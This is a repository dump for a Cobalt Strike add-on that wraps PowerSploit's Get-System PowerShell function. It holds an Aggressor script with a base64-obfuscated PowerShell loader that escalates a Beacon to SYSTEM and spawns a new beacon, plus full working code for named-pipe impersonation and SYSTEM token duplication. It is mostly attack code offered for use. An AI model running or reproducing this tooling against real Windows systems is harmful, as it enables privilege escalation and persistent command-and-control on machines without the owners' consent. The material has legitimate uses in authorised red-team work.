├── README.md ├── get-system.cna └── modules └── Get-System.ps1 /README.md: -------------------------------------------------------------------------------- 1 | # getsystem-for-cobaltstrike 2 | Use powershell to getsystem with token dumplication 3 | 4 | Thanks to *@HarmJ0y* and his powershell script 5 | -------------------------------------------------------------------------------- /get-system.cna: -------------------------------------------------------------------------------- 1 | sub get_system { 2 | local('$script $oneliner'); 3 | 4 | btask($1, "Tasked Beacon to run " . listener_describe($2) . " via token dumplication", "T1068"); 5 | 6 | $script = artifact($2, "powershell"); 7 | 8 | $oneliner = beacon_host_script($1, $script); 9 | 10 | bpowershell_import!($1, getFileProper(script_resource("modules"), "Get-System.ps1")); 11 | bpowerpick!($1, "\$a=[System.Text.UnicodeEncoding]::Unicode.GetString([Convert]::FromBase64String('JABwAHMAIAA9ACAAWwBQAG8AdwBlAHIAUwBoAGUAbABsAF0AOgA6AEMAcgBlAGEAdABlACgAKQA7ACQAcgBzACAAPQAgAFsAUgB1AG4AUwBwAGEAYwBlAEYAYQBjAHQAbwByAHkAXQA6ADoAQwByAGUAYQB0AGUAUgB1AG4AcwBwAGEAYwBlACgAKQA7ACQAcgBzAC4AQQBwAGEAcgB0AG0AZQBuAHQAUwB0AGEAdABlACAAPQAgACIAUwBUAEEAIgA7ACQAcgBzAC4AVABoAHIAZQBhAGQATwBwAHQAaQBvAG4AcwAgAD0AIAAiAFIAZQB1AHMAZQBUAGgAcgBlAGEAZAAiADsAJAByAHMALgBPAHAAZQBuACgAKQA7ACQAcABzAC4AUgB1AG4AcwBwAGEAYwBlACAAPQAgACQAcgBzADsA'));IEX \$a;\$ps.AddScript( {Get-System -Technique Token; $+ $oneliner $+ } ).Invoke(0);"); 12 | 13 | bstage($1, $null, $2); 14 | } 15 | 16 | beacon_exploit_register("get_system", "Get system via token dumplication and Spawn a new beacon", &get_system); 17 | 18 | -------------------------------------------------------------------------------- /modules/Get-System.ps1: -------------------------------------------------------------------------------- 1 | function Get-System { 2 | <# 3 | .SYNOPSIS 4 | 5 | GetSystem functionality inspired by Meterpreter's getsystem. 6 | 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create 7 | a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. 8 | NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure 9 | token duplication works correctly. 10 | 11 | PowerSploit Function: Get-System 12 | Author: @harmj0y, @mattifestation 13 | License: BSD 3-Clause 14 | Required Dependencies: None 15 | Optional Dependencies: None 16 | 17 | .PARAMETER Technique 18 | 19 | The technique to use, 'NamedPipe' or 'Token'. 20 | 21 | .PARAMETER ServiceName 22 | 23 | The name of the service used with named pipe impersonation, defaults to 'TestSVC'. 24 | 25 | .PARAMETER PipeName 26 | 27 | The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. 28 | 29 | .PARAMETER RevToSelf 30 | 31 | Reverts the current thread privileges. 32 | 33 | .PARAMETER WhoAmI 34 | 35 | Switch. Display the credentials for the current PowerShell thread. 36 | 37 | .EXAMPLE 38 | 39 | PS> Get-System 40 | 41 | Uses named impersonate to elevate the current thread token to SYSTEM. 42 | 43 | .EXAMPLE 44 | 45 | PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' 46 | 47 | Uses named impersonate to elevate the current thread token to SYSTEM 48 | with a custom service and pipe name. 49 | 50 | .EXAMPLE 51 | 52 | PS> Get-System -Technique Token 53 | 54 | Uses token duplication to elevate the current thread token to SYSTEM. 55 | 56 | .EXAMPLE 57 | 58 | PS> Get-System -WhoAmI 59 | 60 | Displays the credentials for the current thread. 61 | 62 | .EXAMPLE 63 | 64 | PS> Get-System -RevToSelf 65 | 66 | Reverts the current thread privileges. 67 | 68 | .LINK 69 | 70 | https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c 71 | https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot 72 | http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ 73 | http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ 74 | #> 75 | [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] 76 | param( 77 | [Parameter(ParameterSetName = "NamedPipe")] 78 | [Parameter(ParameterSetName = "Token")] 79 | [String] 80 | [ValidateSet("NamedPipe", "Token")] 81 | $Technique = 'NamedPipe', 82 | 83 | [Parameter(ParameterSetName = "NamedPipe")] 84 | [String] 85 | $ServiceName = 'TestSVC', 86 | 87 | [Parameter(ParameterSetName = "NamedPipe")] 88 | [String] 89 | $PipeName = 'TestSVC', 90 | 91 | [Parameter(ParameterSetName = "RevToSelf")] 92 | [Switch] 93 | $RevToSelf, 94 | 95 | [Parameter(ParameterSetName = "WhoAmI")] 96 | [Switch] 97 | $WhoAmI 98 | ) 99 | 100 | $ErrorActionPreference = "Stop" 101 | 102 | # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 103 | function Local:Get-DelegateType 104 | { 105 | Param 106 | ( 107 | [OutputType([Type])] 108 | 109 | [Parameter( Position = 0)] 110 | [Type[]] 111 | $Parameters = (New-Object Type[](0)), 112 | 113 | [Parameter( Position = 1 )] 114 | [Type] 115 | $ReturnType = [Void] 116 | ) 117 | 118 | $Domain = [AppDomain]::CurrentDomain 119 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 120 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 121 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 122 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 123 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) 124 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 125 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 126 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 127 | 128 | Write-Output $TypeBuilder.CreateType() 129 | } 130 | 131 | # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 132 | function Local:Get-ProcAddress 133 | { 134 | Param 135 | ( 136 | [OutputType([IntPtr])] 137 | 138 | [Parameter( Position = 0, Mandatory = $True )] 139 | [String] 140 | $Module, 141 | 142 | [Parameter( Position = 1, Mandatory = $True )] 143 | [String] 144 | $Procedure 145 | ) 146 | 147 | # Get a reference to System.dll in the GAC 148 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | 149 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 150 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 151 | # Get a reference to the GetModuleHandle and GetProcAddress methods 152 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 153 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') 154 | # Get a handle to the module specified 155 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 156 | $tmpPtr = New-Object IntPtr 157 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 158 | 159 | # Return the address of the function 160 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) 161 | } 162 | 163 | # performs named pipe impersonation to elevate to SYSTEM without needing 164 | # SeDebugPrivilege 165 | function Local:Get-SystemNamedPipe { 166 | param( 167 | [String] 168 | $ServiceName = "TestSVC", 169 | 170 | [String] 171 | $PipeName = "TestSVC" 172 | ) 173 | 174 | $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" 175 | 176 | # create the named pipe used for impersonation and set appropriate permissions 177 | $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity 178 | $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) 179 | $PipeSecurity.AddAccessRule($AccessRule) 180 | $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) 181 | 182 | $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() 183 | 184 | # Declare/setup all the needed API function 185 | # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 186 | $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient 187 | $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) 188 | $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) 189 | 190 | $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle 191 | $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) 192 | $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) 193 | 194 | $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA 195 | $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) 196 | $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) 197 | 198 | $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA 199 | $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) 200 | $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) 201 | 202 | $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA 203 | $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) 204 | $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) 205 | 206 | $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA 207 | $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) 208 | $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) 209 | 210 | $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService 211 | $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) 212 | $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) 213 | 214 | $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError 215 | $GetLastErrorDelegate = Get-DelegateType @() ([Int]) 216 | $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) 217 | 218 | # Step 1 - OpenSCManager() 219 | # 0xF003F = SC_MANAGER_ALL_ACCESS 220 | # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx 221 | Write-Verbose "Opening service manager" 222 | $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) 223 | Write-Verbose "Service manager handle: $ManagerHandle" 224 | 225 | # if we get a non-zero handle back, everything was successful 226 | if ($ManagerHandle -and ($ManagerHandle -ne 0)) { 227 | 228 | # Step 2 - CreateService() 229 | # 0xF003F = SC_MANAGER_ALL_ACCESS 230 | # 0x10 = SERVICE_WIN32_OWN_PROCESS 231 | # 0x3 = SERVICE_DEMAND_START 232 | # 0x1 = SERVICE_ERROR_NORMAL 233 | Write-Verbose "Creating new service: '$ServiceName'" 234 | try { 235 | $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) 236 | $err = $GetLastError.Invoke() 237 | } 238 | catch { 239 | Write-Warning "Error creating service : $_" 240 | $ServiceHandle = 0 241 | } 242 | Write-Verbose "CreateServiceA Handle: $ServiceHandle" 243 | 244 | if ($ServiceHandle -and ($ServiceHandle -ne 0)) { 245 | $Success = $True 246 | Write-Verbose "Service successfully created" 247 | 248 | # Step 3 - CloseServiceHandle() for the service handle 249 | Write-Verbose "Closing service handle" 250 | $Null = $CloseServiceHandle.Invoke($ServiceHandle) 251 | 252 | # Step 4 - OpenService() 253 | Write-Verbose "Opening the service '$ServiceName'" 254 | $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) 255 | Write-Verbose "OpenServiceA handle: $ServiceHandle" 256 | 257 | if ($ServiceHandle -and ($ServiceHandle -ne 0)){ 258 | 259 | # Step 5 - StartService() 260 | Write-Verbose "Starting the service" 261 | $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) 262 | $err = $GetLastError.Invoke() 263 | 264 | # if we successfully started the service, let it breathe and then delete it 265 | if ($val -ne 0){ 266 | Write-Verbose "Service successfully started" 267 | # breathe for a second 268 | Start-Sleep -s 1 269 | } 270 | else{ 271 | if ($err -eq 1053){ 272 | Write-Verbose "Command didn't respond to start" 273 | } 274 | else{ 275 | Write-Warning "StartService failed, LastError: $err" 276 | } 277 | # breathe for a second 278 | Start-Sleep -s 1 279 | } 280 | 281 | # start cleanup 282 | # Step 6 - DeleteService() 283 | Write-Verbose "Deleting the service '$ServiceName'" 284 | $val = $DeleteService.invoke($ServiceHandle) 285 | $err = $GetLastError.Invoke() 286 | 287 | if ($val -eq 0){ 288 | Write-Warning "DeleteService failed, LastError: $err" 289 | } 290 | else{ 291 | Write-Verbose "Service successfully deleted" 292 | } 293 | 294 | # Step 7 - CloseServiceHandle() for the service handle 295 | Write-Verbose "Closing the service handle" 296 | $val = $CloseServiceHandle.Invoke($ServiceHandle) 297 | Write-Verbose "Service handle closed off" 298 | } 299 | else { 300 | Write-Warning "[!] OpenServiceA failed, LastError: $err" 301 | } 302 | } 303 | 304 | else { 305 | Write-Warning "[!] CreateService failed, LastError: $err" 306 | } 307 | 308 | # final cleanup - close off the manager handle 309 | Write-Verbose "Closing the manager handle" 310 | $Null = $CloseServiceHandle.Invoke($ManagerHandle) 311 | } 312 | else { 313 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 314 | Write-Warning "[!] OpenSCManager failed, LastError: $err" 315 | } 316 | 317 | if($Success) { 318 | Write-Verbose "Waiting for pipe connection" 319 | $Pipe.WaitForConnection() 320 | 321 | $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() 322 | 323 | $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) 324 | Write-Verbose "ImpersonateNamedPipeClient: $Out" 325 | } 326 | 327 | # clocse off the named pipe 328 | $Pipe.Dispose() 329 | } 330 | 331 | # performs token duplication to elevate to SYSTEM 332 | # needs SeDebugPrivilege 333 | # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot 334 | Function Local:Get-SystemToken { 335 | [CmdletBinding()] param() 336 | 337 | $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') 338 | $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 339 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) 340 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 341 | 342 | $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) 343 | $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null 344 | $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null 345 | $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null 346 | $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() 347 | 348 | $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) 349 | $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null 350 | $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null 351 | $LuidStruct = $LuidTypeBuilder.CreateType() 352 | 353 | $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) 354 | $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null 355 | $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null 356 | $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() 357 | 358 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 359 | $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray 360 | $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 361 | 362 | $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) 363 | $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null 364 | $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') 365 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) 366 | $PrivilegesField.SetCustomAttribute($AttribBuilder) 367 | $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() 368 | 369 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( 370 | ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), 371 | 'advapi32.dll', 372 | @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), 373 | @([Bool] $True) 374 | ) 375 | 376 | $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( 377 | ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), 378 | 'kernel32.dll', 379 | @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), 380 | @([Bool] $True) 381 | ) 382 | 383 | $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) 384 | $Win32TypeBuilder.DefinePInvokeMethod( 385 | 'OpenProcess', 386 | 'kernel32.dll', 387 | [Reflection.MethodAttributes] 'Public, Static', 388 | [Reflection.CallingConventions]::Standard, 389 | [IntPtr], 390 | @([UInt32], [Bool], [UInt32]), 391 | [Runtime.InteropServices.CallingConvention]::Winapi, 392 | 'Auto').SetCustomAttribute($AttribBuilder2) 393 | 394 | $Win32TypeBuilder.DefinePInvokeMethod( 395 | 'CloseHandle', 396 | 'kernel32.dll', 397 | [Reflection.MethodAttributes] 'Public, Static', 398 | [Reflection.CallingConventions]::Standard, 399 | [Bool], 400 | @([IntPtr]), 401 | [Runtime.InteropServices.CallingConvention]::Winapi, 402 | 'Auto').SetCustomAttribute($AttribBuilder2) 403 | 404 | $Win32TypeBuilder.DefinePInvokeMethod( 405 | 'DuplicateToken', 406 | 'advapi32.dll', 407 | [Reflection.MethodAttributes] 'Public, Static', 408 | [Reflection.CallingConventions]::Standard, 409 | [Bool], 410 | @([IntPtr], [Int32], [IntPtr].MakeByRefType()), 411 | [Runtime.InteropServices.CallingConvention]::Winapi, 412 | 'Auto').SetCustomAttribute($AttribBuilder) 413 | 414 | $Win32TypeBuilder.DefinePInvokeMethod( 415 | 'SetThreadToken', 416 | 'advapi32.dll', 417 | [Reflection.MethodAttributes] 'Public, Static', 418 | [Reflection.CallingConventions]::Standard, 419 | [Bool], 420 | @([IntPtr], [IntPtr]), 421 | [Runtime.InteropServices.CallingConvention]::Winapi, 422 | 'Auto').SetCustomAttribute($AttribBuilder) 423 | 424 | $Win32TypeBuilder.DefinePInvokeMethod( 425 | 'OpenProcessToken', 426 | 'advapi32.dll', 427 | [Reflection.MethodAttributes] 'Public, Static', 428 | [Reflection.CallingConventions]::Standard, 429 | [Bool], 430 | @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), 431 | [Runtime.InteropServices.CallingConvention]::Winapi, 432 | 'Auto').SetCustomAttribute($AttribBuilder) 433 | 434 | $Win32TypeBuilder.DefinePInvokeMethod( 435 | 'LookupPrivilegeValue', 436 | 'advapi32.dll', 437 | [Reflection.MethodAttributes] 'Public, Static', 438 | [Reflection.CallingConventions]::Standard, 439 | [Bool], 440 | @([String], [String], [IntPtr].MakeByRefType()), 441 | [Runtime.InteropServices.CallingConvention]::Winapi, 442 | 'Auto').SetCustomAttribute($AttribBuilder) 443 | 444 | $Win32TypeBuilder.DefinePInvokeMethod( 445 | 'AdjustTokenPrivileges', 446 | 'advapi32.dll', 447 | [Reflection.MethodAttributes] 'Public, Static', 448 | [Reflection.CallingConventions]::Standard, 449 | [Bool], 450 | @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), 451 | [Runtime.InteropServices.CallingConvention]::Winapi, 452 | 'Auto').SetCustomAttribute($AttribBuilder) 453 | 454 | $Win32Methods = $Win32TypeBuilder.CreateType() 455 | 456 | $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} 457 | $GetCurrentProcess = $Win32Native.GetMethod( 458 | 'GetCurrentProcess', 459 | [Reflection.BindingFlags] 'NonPublic, Static' 460 | ) 461 | 462 | $SE_PRIVILEGE_ENABLED = 0x00000002 463 | $STANDARD_RIGHTS_REQUIRED = 0x000F0000 464 | $STANDARD_RIGHTS_READ = 0x00020000 465 | $TOKEN_ASSIGN_PRIMARY = 0x00000001 466 | $TOKEN_DUPLICATE = 0x00000002 467 | $TOKEN_IMPERSONATE = 0x00000004 468 | $TOKEN_QUERY = 0x00000008 469 | $TOKEN_QUERY_SOURCE = 0x00000010 470 | $TOKEN_ADJUST_PRIVILEGES = 0x00000020 471 | $TOKEN_ADJUST_GROUPS = 0x00000040 472 | $TOKEN_ADJUST_DEFAULT = 0x00000080 473 | $TOKEN_ADJUST_SESSIONID = 0x00000100 474 | $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY 475 | $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor 476 | $TOKEN_ASSIGN_PRIMARY -bor 477 | $TOKEN_DUPLICATE -bor 478 | $TOKEN_IMPERSONATE -bor 479 | $TOKEN_QUERY -bor 480 | $TOKEN_QUERY_SOURCE -bor 481 | $TOKEN_ADJUST_PRIVILEGES -bor 482 | $TOKEN_ADJUST_GROUPS -bor 483 | $TOKEN_ADJUST_DEFAULT -bor 484 | $TOKEN_ADJUST_SESSIONID 485 | 486 | [long]$Luid = 0 487 | 488 | $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) 489 | $tokPriv1Luid.Count = 1 490 | $tokPriv1Luid.Luid = $Luid 491 | $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED 492 | 493 | $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) 494 | 495 | $htoken = [IntPtr]::Zero 496 | $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) 497 | 498 | $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) 499 | $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) 500 | 501 | if(-not($RetVal)) { 502 | Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop 503 | } 504 | 505 | $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value 506 | 507 | $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { 508 | try { 509 | $OwnerInfo = $_.GetOwner() 510 | if ($OwnerInfo.Domain -and $OwnerInfo.User) { 511 | $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() 512 | 513 | if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { 514 | $Process = Get-Process -Id $_.ProcessId 515 | 516 | $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) 517 | if ($Handle) { 518 | $Handle 519 | } 520 | } 521 | } 522 | } 523 | catch {} 524 | } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 525 | 526 | if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { 527 | Write-Error 'Unable to obtain a handle to a system process.' 528 | } 529 | else { 530 | [IntPtr]$SystemToken = [IntPtr]::Zero 531 | $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() 532 | 533 | Write-Verbose "OpenProcessToken result: $RetVal" 534 | Write-Verbose "OpenProcessToken result: $LastError" 535 | 536 | [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero 537 | $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() 538 | 539 | Write-Verbose "DuplicateToken result: $LastError" 540 | 541 | $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() 542 | if(-not($RetVal)) { 543 | Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop 544 | } 545 | 546 | Write-Verbose "SetThreadToken result: $LastError" 547 | $null = $Win32Methods::CloseHandle($Handle) 548 | } 549 | } 550 | 551 | if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { 552 | Write-Error "Script must be run as administrator" -ErrorAction Stop 553 | } 554 | 555 | if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { 556 | Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop 557 | } 558 | 559 | if($PSBoundParameters['WhoAmI']) { 560 | Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" 561 | return 562 | } 563 | 564 | elseif($PSBoundParameters['RevToSelf']) { 565 | $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf 566 | $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) 567 | $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) 568 | 569 | $RetVal = $RevertToSelf.Invoke() 570 | if($RetVal) { 571 | Write-Output "RevertToSelf successful." 572 | } 573 | else { 574 | Write-Warning "RevertToSelf failed." 575 | } 576 | Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" 577 | } 578 | 579 | else { 580 | if($Technique -eq 'NamedPipe') { 581 | # if we're using named pipe impersonation with a service 582 | Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName 583 | } 584 | else { 585 | # otherwise use token duplication 586 | Get-SystemToken 587 | } 588 | Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" 589 | } 590 | } 591 | --------------------------------------------------------------------------------